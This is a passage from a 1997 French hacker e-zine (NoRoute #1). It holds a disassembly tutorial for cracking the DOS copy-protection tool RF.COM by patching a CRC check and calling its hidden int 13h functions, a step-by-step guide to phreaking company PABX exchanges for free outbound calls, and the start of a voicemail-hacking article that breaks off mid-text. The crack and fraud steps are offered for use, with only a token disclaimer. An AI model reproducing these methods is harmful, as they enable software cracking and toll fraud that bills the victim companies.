et c'est la plus simple d'emploi, car on peut ensuite passer toutes les
disquettes "normales".
Alons bon, RF n'est po long, nous allons donc le dessember en integralite !
Pour ce genre 2 petit prg residant, c'est la sol qui s'impose...
Vous trouverez join a ce fichier TxT le prg RF.COM et son code desass, ds le
Zip. Les essais avec RF.com se font sans pb ! Il ne va po toucher o disk !
Il se charge juste en mem et controles les disks, comme ca vous pourrez voir
si le crack marche !
Je ne detaille que les parties interessantes du code, vous avez le fichier
RF.asm ds son integralite (source de desassemblage) !
START !!!
(commence a 100, c'est 1 com... bien sur...)
0100 E9 0C1A jmp real_start ; (0D1D)
# Bahhh, ca commence bien... ! on nous balance deja a la fin du prg...
# allons bon... vers le 0D1D
# 0D1D 0E push cs
# 0D1E 1F pop ds
# initialisation du seg de donnees
# ici on place les textes ( les messages d'err et l'ecran de presentation...)
0D1F B4 0D mov ah,0Dh
0D21 CD 21 int 21h ; DOS Services ah=function 0Dh
# 0D23 B4 09 mov ah,9
# 0D25 úBA 0874 mov dx,offset data_64 ; (815C:0874=20h)
# 0D28 CD 21 int 21h ; DOS Services ah=function 09h
# Affiche l'ecran de presentation RF
# 0D2A B4 62 mov ah,62h
# 0D2C CD 21 int 21h ; DOS Services ah=function 62h
# la c'est.... ... get Program Segment Prefix bx
#
# argggg... et puis merde, si je commence a tout detailler comme ca, je vais
# po m'en sortir ! alors je vais a l'essentiel !
0D2E 8E C3 mov es,bx
0D30 26: 8B 1E 002C mov bx,es:data_1e ; (0000:002C=0EF6Fh)
0D35 8E C3 mov es,bx
0D37 33 DB xor bx,bx ; Zero register
# gna gna gna... tout ca on s'en fou... jusqu'a : 0D6B
# ben vi, c'est les tests d'integritee....
# important selon la methode de crack choisie... ou autrement si vous voulez
# ecrire des conneries a la place de l'ecran de presentation... :)
# 0D6B úBA 0C54 mov dx,offset data_86 ; (815C:0C54='')
# 0D6E B4 09 mov ah,9
# 0D70 CD 21 int 21h ; DOS Services ah=function 09h
# La il a affiche les tests d'integritees.
# 0D72 B8 3D00 mov ax,3D00h
# 0D75 úBA 0C66 mov dx,0C66h ; (815C:0C66=0)
# 0D78 CD 21 int 21h ; DOS Services ah=function 3Dh
# Ici, le prg ouvre le fichier fr.com (pour test CRC)
; open file, al=mode,name@ds:dx
0D7A 8B D8 mov bx,ax
0D7C C7 06 0157 0000 mov data_24,0 ; (815C:0157=0)
0D82 BF 0001 mov di,1
0D85 loc_94: ; xref 815C:0DBA
# 0D85 úB4 3F mov ah,3Fh ; '?'
# 0D87 B9 0200 mov cx,200h
# 0D8A úBA 0874 mov dx,offset data_64 ; (815C:0874=20h)
# 0D8D CD 21 int 21h ; DOS Services ah=function 3Fh
# La il lit le fichier...
; cx=bytes to ds:dx buffer
0D8F 73 03 jnc loc_95 ; Jump if carry=0
0D91 E9 003F jmp loc_98 ; (0DD3)
0D94 loc_95: ; xref 815C:0D8F
0D94 3D 0000 cmp ax,0
0D97 74 23 je loc_97 ; Jump if equal
# et ici, si le test est bon, il poursuit... vers... cs:0DBC
0DBC loc_97: ; xref 815C:0D97
0DBC B4 3E mov ah,3Eh
0DBE CD 21 int 21h ; DOS Services ah=function 3Eh
# Ici, il vient de fermer le fichier fr.com
# Et alors, c'est la partie la + interessante du prg pour le test CRC ; close file, bx=file handle
0DC0 A1 0157 mov ax,data_24 ; (815C:0157=0)
0DC3 03 06 0104 add ax,data_5 ; (815C:0104=0BB0Dh)
0DC7 3D FFFF cmp ax,0FFFFh
# 0DCA 74 0B je loc_99 ; Jump if equal
# VOILA ce qui le perdra :)))
# cet petit saut conditionnel !
# si il est po verifie , le prg quitte !
# alors remplacer le par 1 JMP
# soit JMP 0DD7, ce qui pour 1 modif en editeur hexa donne : EB 0B
# au lieu de 74 0B :)
{
Explic pour les neuneux...
A l'aide d'1 editeur HEXA, ouvez le fichier RF.COM.
Il fo ensuite remplacer notre branchement je par 1 jmp ! (jump...)
On recherche donc un 74 0B, mais il se peux qu'il y ai plusieur 74 0B ds le
prg.
Alors on rallonge la chaine... on prend ce qui est devant ou derriere !
par exemple :
- on va chercher : 04 3D FF FF 74 0B
- pour le remplacer par : 04 3D FF FF EB 0B
Et c'est tout !
}
# 0DCC úBA 0CB6 mov dx,offset data_88 ; (815C:0CB6='')
# 0DCF B4 09 mov ah,9
# 0DD1 CD 21 int 21h ; DOS Services ah=function 09h
# la il affiche que le prg est altere... utiliser 1 copie saine...
# o cas ou le crc soit po bon !
; display char string at ds:dx
# 0DD3 loc_98: ; xref 815C:0D4B, 0D91
# 0DD3 B4 00 mov ah,0
# 0DD5 CD 21 int 21h ; DOS Services ah=function 00h
# et fin du prg... termnaison
; terminate, cs=progm seg prefx
# 0DD7 loc_99: ; xref 815C:0DCA
# 0DD7 úBA 0CF6 mov dx,offset data_90 ; (815C:0CF6='- OK')
# 0DDA B4 09 mov ah,9
# 0DDC CD 21 int 21h ; DOS Services ah=function 09h
# et ici , le fameux 0DD7 pour notre JMP !
# le prg affiche OK !
# et il continu normalement meme si le test est po bon !!!
Bon ben voila c'est fini pour la partie controle de l'integrite !
On attaque maintenant la partie hack du sys de controle des disquettes.
Et ya du boulot !
Bon tout d'abord, on remarque que losque l'on charge RF,le prg place 1 vecteur
d'interruption : 13 2F (chez moa vers l'adrs 0510:0)
Ben pour ceux qui connaisse deja bien les verteurs d'interuption, le compte
est bon... on le degage !
(Apres quand on se casse, on relance rf.com [ex d'univ])
Mais y une autre solution plus subtile... Si on continue a desass le prg, on
voit 1 petit truc interessant, en ce qui concerne la creation et la modif de
vecteurs.
En effet, le prog va intervenir sur l'int 13h (acces lecteurs etc...) et va
creer de nouvelle fct. Reste donc plus qu'a analyser le code et a voir si ya
po des fct qui pourrait nous interesser !
Trace Start !
(suite)
0DDE úBB 013A mov bx,offset data_8 ; (815C:013A=6Eh)
0DE1 BA 0000 mov dx,0
0DE4 úBE 0082 mov si,data_4e ; (815C:0082=0)
0DE7 loc_100: ; xref 815C:0DEE, 0E11, 0E3D, 0E45
; 0E4D, 0E55
# 0DE7 úAC lodsb ; String [si] to al
# 0DE8 3C 0D cmp al,0Dh
# 0DEA 74 6B je loc_109 ; Jump if equal
# 0DEC 3C 2F cmp al,2Fh ; '/'
# 0DEE 75 F7 jne loc_100 ; Jump if not equal
# Le prg se casse generalement vers le loc 109... et ne continu po sur le
# 0E62...
# De toute facon on se retrouvera sur le loc 109.
# On va donc faire 1 tour du cote du loc 109...
; 0E3B
# 0E57 B8 3080 mov ax,3080h
# 0E5A BF 5349 mov di,5349h
# 0E5D BE 4E47 mov si,4E47h
# 0E60 CD 13 int 13h ; ??int non-standard interrupt
# AHHHH... Ici on n'a le droit de se poser des questions....
# Vois la connaisser cette fct de l'int 13h... non, ben moa non plus !
# Continuons 1 peu pour voir...
0E62 3C FF cmp al,0FFh
0E64 74 03 je loc_110 ; Jump if equal
0E66 E9 000C jmp loc_111 ; (0E75)
0E69 loc_110: ; xref 815C:0E64
# 0E69 B4 09 mov ah,9
# 0E6B úBA 0CFD mov dx,offset data_91 ; (815C:0CFD='')
(RF deja inst...)
# 0E6E CD 21 int 21h ; DOS Services ah=function 09h
# Ici, c'est tres clair... Le logiciel RF utilise 1 fonction qu'il definit lui
# meme, mais comme il ne l'a pas encore definit, le test est negatif !
# ce qui signifie que c'est le permier lancement... il peut s'installer !
# Je reprend, la fonction 30h, sous fct 80h de l'int 13h est cree par RF.
# Donc, on lance RF pour la premiere fois, le soft ne connait po cette fct
# puisqu'il ne l'a po encore inst !
# Or, si il est deja resident, il reconnait cette fonction, et place donc
# 0FFh ds AL, et suite a la comparaison, le test est positif, il saute donc
# sur loc 110 et quitte vers le dos ! (message -RF deja installe-)
#
# Ici, on a avanc, on connait 1 fct posee par RF ds l'int 13h !
# mais elle ne nous sert po a grand chose! En grattant un peu on va trouver
# des trucs plus interessant !
; display char string at ds:dx
# 0E70 B8 4C01 mov ax,4C01h
# 0E73 CD 21 int 21h ; DOS Services ah=function 4Ch
# termine le prg
; terminate with al=return code
0E75 loc_111: ; xref 815C:0E66
# 0E75 B8 4BFD mov ax,4BFDh
# 0E78 CD 13 int 13h ; ??int non-standard interrupt
# encore 1 op non conforme hehehe :))
# avec l'int 13h... a approfindir !
0E7A úBB 013A mov bx,offset data_8 ; (815C:013A=6Eh)
0E7D 8B 07 mov ax,[bx]
0E7F 33 47 02 xor ax,[bx+2]
0E82 33 47 04 xor ax,[bx+4]
0E85 33 47 06 xor ax,[bx+6]
0E88 A3 0143 mov data_13,ax ; (815C:0143=0)
# 0E8B B8 3513 mov ax,3513h
# 0E8E CD 21 int 21h ; DOS Services ah=function 35h
# lit notre lecteur d'int
; get intrpt vector al in es:bx
0E90 89 1E 0198 mov word ptr ds:[198h],bx ; (815C:0198=0)
0E94 89 1E 019F mov word ptr ds:[19Fh],bx ; (815C:019F=0)
0E98 8C 06 019A mov word ptr ds:[19Ah],es ; (815C:019A=0EF6Fh)
0E9C 8C 06 01A1 mov word ptr ds:[1A1h],es ; (815C:01A1=0EF6Fh)
# 0EA0 úBA 0177 mov dx,offset int_13h_entry
# 0EA3 B8 2513 mov ax,2513h
# 0EA6 CD 21 int 21h ; DOS Services ah=function 25h
# Et la, c'est 1 partie super importante !!!
# noter bien le : dx,offset int_13h_entry
# ce sont les routine qui vont etre pose ds notre vecteur.
# je vous renvoye donc a cette adresse qui compose les 2.4ko du soft charge
# en memoire.
# (c'est a peu pres tout ce qu'il y a avant 0D1D ;
# sans les messages de presentations...bien sur )
; set intrpt vector al to ds:dx
# 0EA8 B8 3513 mov ax,3513h
# 0EAB CD 21 int 21h ; DOS Services ah=function 35h
# Lit le vecteur
# 1 peu + loin...
# 0EBD úBA 0242 mov dx,offset int_13h_ent_1
# 0EC0 B8 2513 mov ax,2513h
# 0EC3 CD 21 int 21h ; DOS Services ah=function 25h
# Encore 1 adressage qui compose le resident...
# que l'on retrouve aussi a :
# (pour la 2Fh)
0EF9 B4 25 mov ah,25h ; '%'
0EFB B0 2F mov al,2Fh ; '/'
0EFD úBA 0712 mov dx,offset int_2Fh_entry
0F00 CD 21 int 21h ; DOS Services ah=function 25h
# Apres + rien d'important... le programme se termine en restant residant.
Pour ceux qui touche deja po mal, y ont du se faire chier jusqu'ici...
Mais je voulais que cette article soit accessible a tout le monde. Alors
les experts pourrons chercher ds la premiere partie du prog les fonctions
interessante si ca les amuses... :)
Pour les autres, ca commence a se corser, et mon article commence a etre long,
vu que j'ai po encore traite la partie sur le crack !
Ha, la je sens que yen a qui vont dire... il se defile :))
Mais non, j'ai tous simplement prevu d'ecrire 1 article specialement oriente
sur les vecteurs et les interruptions ! Et je reparlerais du cas de RF qui
est tres interessent, (et bien sur je reprendrais la permiere partie du prg.
Mais la, 1 connaissance parfaite de l'ASM est exig et se sera 1 article
plutot pour les experts en crk ;) Avis aux amateurs...
Ben ouaip, jusque la yen a eu que pour les newbies :))
En attendant je vais vous filer du tout cuit ;)
On connait deja la 3080h qui verifie si le prg est installe, mais ya aussi :
- 3000h ,qui desactive RF !!!
- 3002h ,qui reactive RF
- 3009h ,qui certifie 1 disquette
et yen a peut-etre d'autres... ( a vous de chercher =)
Passons maintenant a l'elaboration du crack !
---------------------------------------------
Ben c'est po bien complique, il suffit d'appeler l'int 13h avec les bonnes
valeurs ds les registres :
mov di,5349h ;# Reportez vous a la loc 109 !
mov si,4e47h ;# " "
mov ax,3000h (pour desactiver par exemple...)
int 13h
C'est TOUT !!! Tout compte fait, c'etait po si long !
Le plus rapide etant de faire 1 petit fichier com.
Rmq: Le di et si doivent etre imperativement pos... sinon ca marche po.
Ya des exemples ds le fichier ZIP:
- ACTIV_RF.ASM
- DESAC_RF.ASM
- CERTIF.ASM
- TESTRF.ASM
Et les COM respectif.
On peut aussi tout inclure ds 1 seul fichier... mais ca c'est de la prog
classique : fichier KSILLY.COM (c'est qu'1 exemple, on peut faire 10 *
mieux... mais aussi 10 * + long ... ;)
Ben voila, c'est a peu pres tout ce que j'avais a dire sur RF :))
Je remercie tout particulierement Berth ( /MINE\ ), avec qui on s'est bien
amus a cracker cette petite merde hehehe :)
GREETINGS: SD,Sorcery,CoD4,MikaSoft,Fft,Kwel,Doc.
PiXel4
-------------------------------------------------------------------------------
NoRoute #1 þ Hacking PABXz þ 4760 þ CoD4 þ NoRoute #1
-------------------------------------------------------------------------------
Hacking PABXz
-----------------------------------------------------------------------------
By CoD4, from The Philament Empire (PhE!), 1997
MES TRES CHER FRERES
NOUS SOMMES REUNIS POUR
HACKER DES PABX!!!
***************************************************************************
* Toutes les informations fournies dans ce document ne le sont que dans *
* un but purement educatif, et il est formelement interdit par la loi de *
* les exploiter. A part vous, personne n'est responsable de ce que vous *
* faites, et l'auteur de pourra en aucun cas etre tenu pour responsable *
* des dommages causes a la suite de la lecture de ce document ! NA ! *
***************************************************************************
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
PABX, DA ULTIMATE UPDATE !
Je crois que vous avez la l'article le plus complet que vous serez jamais
amene a lire, eh oui ! Vous allez gober de l'info qu'il vous faut (mauvais
jeu de mots :(...)
[ HACKONS LES PABX ]
1: C'est quoi un PABX ?
Un PABX (Private Automatic Branch eXchanger) est en fait un central
telephonique qui gere les appels entrants est sortants. Il gere le reseau
interne aussi bien que le reseau externe.
Pour vous donner un exemple: Mr Lamer travail chez Grolame & Co. Monsieur
Lamer veut telephoner... Pour cela, il decroche son telephone, il appuie sur
`0' puis il compose son numero. Voila en gros a quoi un PABX peut servir.
Bon on y va alors. A quoi ca peut bien vous servir de savoir que Mr Lamer
lamer peut phoner depuis son poste en faisant le 0' ???
D'abord vous devez comprendre a quoi ca ressemble un PABX.
o Chaque employe a un poste bien a lui, OK ?
o Chaque employe a une ligne directe (surement), OK ?
(surement car le PABX ne servirait a rien sinon, eh!).
o Tous les employes sont relie au PABX.
Bon voyons de plus pres comment ca marche maintenant: vous appelez le PABX.
Ensuite, une fois dans le PABX, vous pouvez etre redirige entre les differents
postes ou services (les 4 derniers chiffres du numeront correspondent au
numero du poste, par exemple 12 12 + numero de poste, comme 0003). 12 12 00 03
c'est bon, vous avez compris, et je vous vois dire que c'est facile une fois
qu'on connait les 4 premiers chiffres. C'est les memes que ceux de l'
entreprise. Ex: voici le numero de l'entreprise Grolame & Co, 12 12 00 05.
Vous savez maintenant qu'il faut mettre 12 12 + <numero de poste> pour avoir
le numero de la ligne directe de l'employe (attention, les PABX en numeros
verts ne fonctionnent pas pareil, vous n'avez pas de ligne direct dans ce cas
la).
Ligne directe Ligne directe
ex: 12 12 00 00 ex: 12 12 00 01
* *
| | Ligne directe
| | ex: 12 12 00 03
| | |
|Poste| |Poste| |###| |Poste |-------------* Ligne *
|tele.| |tele.| |VMB| |fictif| * externe *
| | | |
| | | |
---------------------------------------------------
| PaBX - PaBX - PaBX - PaBX - PaBX - PaBX - PaBX | Numero du PABX: 0005
---------------------------------------------------
| | |
| | |
Ligne en numero vert Ligne d'entree Ligne de sortie utilisee
(0800 99 99 99) (12 12 00 05) par les employes
Bon, voici la theorie...
Pour detourner les PABX a son avantage, vous avez plusieurs choix:
o Soit vous vous connectez par la ligne directe de l'employe, et une fois
le contact telephonique etabli, vous vous trouvez exactement a la place
de l'employe et donc vous pouvez ici tester les differentes methodes
(exposees plus loin) pour essayer de faire un outdial.
o Sinon, vous vous connectez directement au PABX en composant le numero du
poste ou vous voulez aller. Ex: lorsque vous etes sur la "tone" interieure
du PABX (ou le service qui vous met en contact avec un poste
automatiquement), vous composez le numero du poste ou le PABX va vous
router. Pour etre plus clair, lors du "Booooooooooooooo", faites le
numero de poste ou vous voulez aller, comme 00 03 par exemple, et une
fois le numero compose, vous vous retrouvez a la meme position que l'
employe au poste xx xx et donc comme lui vous pouvez appeler l'exterieur !
Vous avez surement remarque le "poste fictif". Certains PABX utilisent un
poste dit fictif pour appeler l'exterieur.
Voila pour la theorie...
2: Ca se deroule comme ca !
1. Trouver un PABX.
2. Comprendre de quelle famille est le PABX.
3. Trouver la facon de faire un Outdial.
4. Abuser du PABX.
5. Les conneries que l'on dit sur les PABX.
6. Disc-lamer :)).
2.1: Partons a la quete du PABX
Pour ceux qui aurait lu mon article sur les VMB, ils reconnaitront des
extraits de cet article. Oui, c'etait parfait, et je vois pas pourquoi je l'
ecrirai de nouveau :)
2.1.1 Trouver un numero (scanner les PABX a partir de 9h)
Pour trouver un numero vert qui est susceptible d'avoir un PABX sans scanner
pendant des jours, il faut faire les numero avec methode:
o Faites des numeros du genres 0800 XAB XAB.
ex: 0800 140 140 ou 0800 120 120
o Il y'a les numero du genre 0800 AB XC XC.
ex: 0800 50 20 20
(vous incrementerez les numero XC de +1, ex: 0800 50 20 20, 0800 50 21 21)
o Puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41
(qui s'incremente ou se decremente)
o Puis ceux du genre 0800 XA XC XB.
ex: 0800 30 31 35 ou 0800 40 47 45 etc...
Bref, tous les numeros qui sont faciles a memoriser ! OK ?
--> Pour ceux qui n'ont pas le courage de faire ca a la main, et bien
vous feriez mieux de faire autre chose ;) Fermons la la parenthese :)
Bon ca *sonne* ! Mais maintenant, je fais quoi ?
Tu te tais et tu ecoutes.
o Si c'est une femme, c'est pas bon.
o Si c'est un repondeur, OK, ca peut etre un PABX.
o C'est une messagerie vocale. Bon, on va voir, il y a peut-etre un PABX.
o Ca vous demande un code confidentiel ? C'est un PABX ! :)
o Ca dit rien... Strange ! Mais on garde, ca peut etre un PABX.
Bon, ensuite, vous trouverez par vous-meme si c'est des PABX ou pas.
Ok, maintenant qu'on a un numero susceptible d'etre un PABX on fait quoi ?
(tu passes a l'etape suivante)
2.2 La famille du PABX
Maintenant que tu as un numero, essaye la touche `0'. Si ca fait "booooooo",
c'est bon, c'est un PABX. Si ca marche pas avec la touche `0', essaye avec
`#', `*', `9' ou `1'. Quand tu tombes sur la tone "booooooo", c'est bon. Si
rien marche, essaye la sequence de touches `0*'. Si ca marche, c'est que c'est
un PABX Meridian. Si ca demande un code confidentiel, tapes rien et lis ce qui
va suivre !
2.3 Faire un Outdial
Exemple de PABX qui fait "booooooooo": 0800 397 397.
Bon, il faut maintenant se connecter sur un poste (vous savez tous bien sur
comment trouver un numero de poste !). Maintenant que tu as le "booooooo" qui
te tape sur le systeme, compose le numero de poste ou tu veux aller, et tu
tomberas sur le greeting de l'employe, qui t'invite a laisser un message. Mais
toi, tu vas pas laisser un message, tu fais donc le `0'.
1. Tu vas retomber sur le "Booooooooooo" (c'est la tone interieure du PABX).
Bon maintenant, essaye de faire le `0' puis fais le numero que tu veux faire
(fais le 14 par exemple comme ca tu verras ou se trouve le PABX). Si ca marche
pas, essaie toutes les methodes suivantes:
o 00 + ton numero
o 1 + ton numero
o 11 + ton numero
o 9 + ton numero
o 99 + ton numero
o Si ca marche toujours pas, essaye de 1 a 9.
ex: # 5 + numero (des fois, il faut doubler l'indicatif. La, dans l'
exemple, c'est le 5 l'indicatif).
o Bon, si ca marche toujours pas, essaye de le faire sans le `*' devant.
o Recommence en 1 mais avec le # avant l'indicatif.
ex: # + 0 + numero
o Sinon, autre technique: faites le numero du standard + numero.
o Ca marche toujours pas ? Essaye de faire un numero de poste puis l'
indicatif, puis ton numero (numero de poste = numero de VMB, donc ce
serait pas mal de lire mon autre article sur les VMB, ou tout autre qui
vous expliquera comment avoir une VMB). Bien sur, vous pouvez essayer
au pif, et surtout les numeros commencant par 4.
ex: (4410 + 1 + XX XX XX XX XX), ou 4410 = numero de poste
o Argh ! Ca marche encore pas ? Essaye de le faire en changeant l'
indicatif 1 ou 9 ou 0. Double pour voir si ca marche pas (sur certains
PABX, il faut faire # + numero de poste + indicatif + numero).
Bon la si rien ne se passe, c'est qu'il faut composer un numero de poste
special.
* Pour faire les outdial.
(une fois sur la tone "booooo", vous pouvez appeler un poste de la boite en
composant son numero). La, une seule facon de le trouver, c'est de faire les
numeros un par un, en sachant que quand ca vous raccroche, c'est que le
dernier numero que vous avez compose n'est pas bon.
Ex: '4' c'est bon la, ca a pas raccroche ou sonne au standard. Puis je fais
le `9'. La, ca sonne ou ca raccroche, c'est que le 9 n'etait pas le bon
chiffre. Donc, rappelez, faites le `4' car vous savez qu'il est valide,
recommencez avec
un autre chiffre que le `9' car vous savez qu'il est pas bon.
Bon, si vous avez scanne tous les numeros et que vous avez rien trouve, c'est
pas la peine, ca doit etre un PABX ou on ne peut pas faire d'outdial. :(
(attention, certains PABX vous permettent de faire un outdial en composant
votre votre indicatif + numero dans une boite vocale. Certains se font meme
carrement lorsque vous laissez un message, donc vous devez laisser un message
apres le BiiiiiP. Faites votre indicatif + numero (des fois, faites le '#'
devant l'indicatif)
Cas des PBX Meridian
La, je laisse parler Easy-Hacker de N0WaY (il aime les Meridian). J'ai
rajoute des precisions. Un numero de Meridian: 0800 153 153.
-=)> NT Meridian Mail <(=-
--------------------------------
0n les reconnait tres aisement a la voix de la nana qui prononce les
messages enregistres et aux messages qui, en dehors du message d'accueil,
sont toujours les memes. N'etant pas une solution sur PC et etant cense etre
pret a l'utilisation en quelques dizaines de minutes, les VMB meridian
offrent toutes les memes commandes et l'arborescence differe tres peu de l'une
a l'autre.
L'arbo classique est la suivante: lorsque vous appellez, vous etes
confrontes a un repondeur des plus classiques, vous laissez votre message et
vous vous cassez. Si vous etes un peu curieux, vous tripotez les touches *,0
et # jusqu'a tomber sur le message jouissif:
"Vous avez obtenu un service automatise qui vous mettra en relation avec
le numero compose. Veuillez entrer le nom ou le numero de la personne desiree
suivit de la touche #"
En France, et pour rester compatible avec ce que nous avons evoques
plus haut (ligne directe=(z)abpq+numero de poste), les numeros de postes (qui
sont aussi les numeros des bals sur la VMB) sont sur 4 chiffres. En regle
generale, entre 0 et 9 se trouvent des trucs particuliers comme le standard,
le fax ou l'acces aux reseaux internes. Le 0 est toujours le standard, ou
plus exactement le numero d'aide (car il est possible de le changer comme
nous le verrons plus tard). Donc bref quand on a ce message, il suffit de
composer le numero du poste puis # et hoplaboum ca dit allo dans l'poste.
Si vous preferez une version americaine du "allo", trois cas pos-
sibles:
###########################################################################
# ATTENTION: vous devez etre poste sur un vrai numero de poste. #
# Si vous le faites directos, vous ne pourrez pas dans la plupart des cas #
# faire des outdial (lisez mon article sur les VMB pour plus d'infos) #
###########################################################################
1) Il suffit de faire un indicatif sur un chiffre pour avoir
l'exterieur. Cet indicatif est souvent 0,1 ou 9. Suit alors le numero de
telephone puis la touche #. Si vous avez le message "Il est impossible
d'obtenir ce numero a partir de ce service" c'est pas le bon indicatif, mais
ca ne signifie pas pour autant que le PBX est grille. Attention, certaines
lignes peuvent etre en acces restreint (interdiction du 19 et du 36).
Tiens j'en profite pour ajouter une petite precision importante. Il est
possible d'appeller quelqu'un a partir de son nom en faisant 11 puis son nom
converti en chiffres (ca se trouve encore sur les telephones ca ?), puis le #.
Kewl sauf que si l'indicatif d'outdial est le 1, lorsque vous voulez
appeller la province ou l'etranger, ca donne 119 ou 116 et cet abruti de PBX
croit que vous voulez appeller quelqu'un par son nom. Les PBX qui choisissent
mal leur indicatif sont donc assez limitees, mais ca depanne pour Transpac.
2) L'acces a l'exterieur n'est possible qu'en appellant une
ligne de transit, representee par un numero de poste classique. En clair, il
faut alors composer un numero de poste sur 4 chiffres, #, et si on tombe sur
une tonalite, on peut enfin tester indicatif d'outdial+numero (plus besoin de
faire #, tout ce que vous composez est envoye en direct sur la ligne de
transit). Ces lignes de transit sont souvent utilisees pour la telesur-
veillance informatique (n'esperez pas en trouver le numero sur le 11).
##############################################################################
################ vous trouverez d'autre methode sur mon article sur les VMB###
##############################################################################
:les pabx avec un acces par code
ex: 0800 00 2002
un autre cas se sont les pabx a code confidentielle souvent je dis souvent
les 2 premiers chiffre sont les meme ex: 44 xx ou 55 xx
4. ABUSONS DU PBX
La votre serviteur vous laisse faire :)
Sachez toutefois qu'il vaut mieux l'utiliser la nuit. Si vous n'avez pas
trouve de PABX, sachez que les PABX en numero vert plus durs a hacker :)
Enfin, ne phonez pas pendant 12 heures a votre cousine en Islande. Non
seulement, c'est trop gros et sachez que si vous mettez 120 000F de bill a la
boite, ca risque de vous attirer des problemes...
5. LES CONNERIES QUE L'ON A DIT SUR LES PABX
* Oui, les PABX savent notre numero de telephone !
Non les PABX n'affichent pas votre numero de telephone sauf si vous avez
un ligne Numeris (on peut demander a avoir l'anonymat)
* Les PABX, c'est hyper trace !
Arretons le massacre il y'a pas un tracer sur chaque PABX. Ici, chez FT,
le phreaking ils sont pas trop atteints, c'est pas comme chez Sprint ou MCi
* Les PABX ca marche pas !
Ha ha! Il est vrai que les PABX sur numero vert sont durs...
* Oui, mais moi je veux un PABX maintenant, la, en 38 secondes maxi.
Fais le 36 15 La Reboute
* Oui mais moi, je fais du warez et je veux rien savoir.
Moi je joue a Quake sur 486, je phreak avec mes doigts et je lance mes
casseurs de password sur des gros Cray ! Hacking roue-laisse (ca fait bien
de dire rulez :)
* Stop le delire CoD4, je te crois est je m'en vais retourner au warez.
Arg!! :)
6. DISC-LAMER
T7HS (the 7th hacker's society)
(si ton nom y figure pas, il y'a bien une raison !!!)
Salut a Morgan pour son aide tres precieuse.
Special dedicace (l'autres est zi-va) a:
o LARSEN HVU vaincra !
o Tous les membres du T7HS est tous ceux de #HACKFR
o a LOGINZ, ^mars, scud, pegase, kikoo (qui m'a dit d'aller a la FAC),
|ouyshla| et a tous les membres de PhE! (#PHe).
Et le MEGA BIG UP pour France Telefarce ;)
Et hop!, un peu de pub pour mon channel: #warez-FFT
Allez voir sur #warez-france pour me trouver, ou sur #hackfr
Vala, c'est tout. Bye !
COD4 phreaking ROUX-LAIZE !!!
[SI...]
Si tu est phreaker pro, contacte-moi, j'ai encore a apprendre.
Si quelqu'un a des rajouts a faire, ou des critiques, des idees, ce serait
bon qu'il me donne son avis.
Si votre pere travaille chez F.T ou vous meme et que vous avez des infos
ou des des docs, contactez-moi !
Si vous installez des PABX, que vous dormez avec le standard et non pas avec
la standardiste, re-contact me !
--> Recherche un pro du cellulaire et un pro de la box. Merci.
*******************
*/~*/~\*|\**|\**/**
*\_*\_/*|/**|*\/***
*******************
H/P ROULE-ASS
##############################################################################
COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4
##############################################################################
NoTe: j'ai corrige les fautes d'orthographe, la mise en page et tout, et je
peux vous dire qu'y avait du boulot ;). Si vous voulez contacter CoD4, vous
pouvez toujours laisser un mail sur la boite du groupe, je transmettrai:
phe@mygale.org
-- HoTCoDe, PhE!.
il a raison [CoD4]
_______ __ __ ______
| _ \| |_| | _____| H/P French Group !
| |_) | _ | ____| http://www.mygale.org/02/phe
| ___/|__| |__|______| phe@mygale.org
|___|THe PHiLaMeNT eMPiRe
-------------------------------------------------------------------------------
NoRoute #1 þ Hacking de VMB þ 4761 þ CoD4 þ NoRoute #1
-------------------------------------------------------------------------------
-=|HACKING DE VMB|=-
Methodes reconnues et fiables pouvant
etre realisées par n'importe quel
humain qui a un cerveau.
-=|DEFINITION|=-
Une VMB c'est une boite vocale ou on peut vous laisser des messages vous
pouvez les ecouter c komme un repondeur mais si votre boite vocale est
accessible par un numero vert n'importe ki peut vous appeler sans payer est
vous pouvez ecouter vos messages sans payer voila..
-=[ 1. FUCK TELECOM ]=-
Avant de parler de comment trouver une vmb il faut savoir a koi ça ressemble.
Je classe les vmb en 3 sortes les types '1,2' les types '1,#' puis les meridian.
Bon jusque la ca veut rien dire he bien regardez les types '1,2' veut dire
que une fois o menu de la VMB j'ai le choix entre la touche '1' pour envoyer
un message et '2' pour aller dans ma boite aux lettres (voici un numero de
type '1,2' le 0800 00 10 10).
Pour les types '1,#' c'est le choix entre la touche '1' pour envoyer un
message et '#' pour aller dans la boite aux lettres. (voici un numero de type
'1,#' 0800 43 47 45).
Puis pour les VMB meridian pour les reconnaitre il faut faire '81' quand
l'annonce passe pour aller au menu de la vmb (certaines messageries meridian
disent carrement "bienvenue dans la messagerie meridian") (voici un numero
de vmb meridian le 0800 153 153).
Voila on a presque tous les types de VMB que j'ai rencontre (certaines vmb
sont differentes mais elles se ressemblent presque toutes)
-=[ 2 LET'S ROCK ]=-
Bon passons aux choses dites serieuses: le hack d'une VMB se compose de
cette maniere:
1: trouver un numero
2: voir si c une voie enregistree qui decroche (c bon) ou si c une gentille
jeune fille qui nous "allo" (c poa bon)..
3: tester si ce numero a une VMB ou un PBX
4: si oui decouvrir la procedure pour acceder a la vmb
5: decouvrir le type de VMB ('1,2' ou '1,#' ou meridian)
6: HACKER la VMB
7: ABUSER de la VMB ;)
Allez on y va..
-=[ 2.1 TROUVER UN NUMERO ]=-
Pour trouver un numero vert qui est susceptible d'avoir une VMB sans scanner
pendant des jours pour 3 ou 4 vmb il faut faire les numero avec methode par
exemple faites des numeros du genre 0800 XAB XAB ex: 0800 140 140 ou 0800 120
120 il y'a les numero du genre 0800 AB XC XC ex: 0800 50 20 20 (vous
incrementerez les numero XC de +1 ex: 0800 50 20 20 ,0800 50 21 21) puis vous
avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou
se decremente) puis ceux du genre 0800 XA XC XB ex: 0800 30 31 35 ou 0800 40
47 45 etc.... bref tous les numero qui sont faciles a memoriser OK (pour
ceux qui on poa le courage de faire ça a la main est bien ils feraient mieux de
faire autre chose ;) )
-=[ 2.2 TEST DU NUMERO (VMB OR NOT VMB) ]=-
Tous d'abord le test du numero doit se faire la nuit (souvent les PBX qui
SONT souvent associes avec des vmb ne marchent que la nuit ). Bon votre numero
que vous avez fait sonne si ça dit "allo" c poa bon si ça dit "bienvenue
dans messagerie vocale machin " il y'a pas plus clair si ça dit "vous etes
bien chez machin notre service n'est poa ouvert" ou tous autres messages de ce
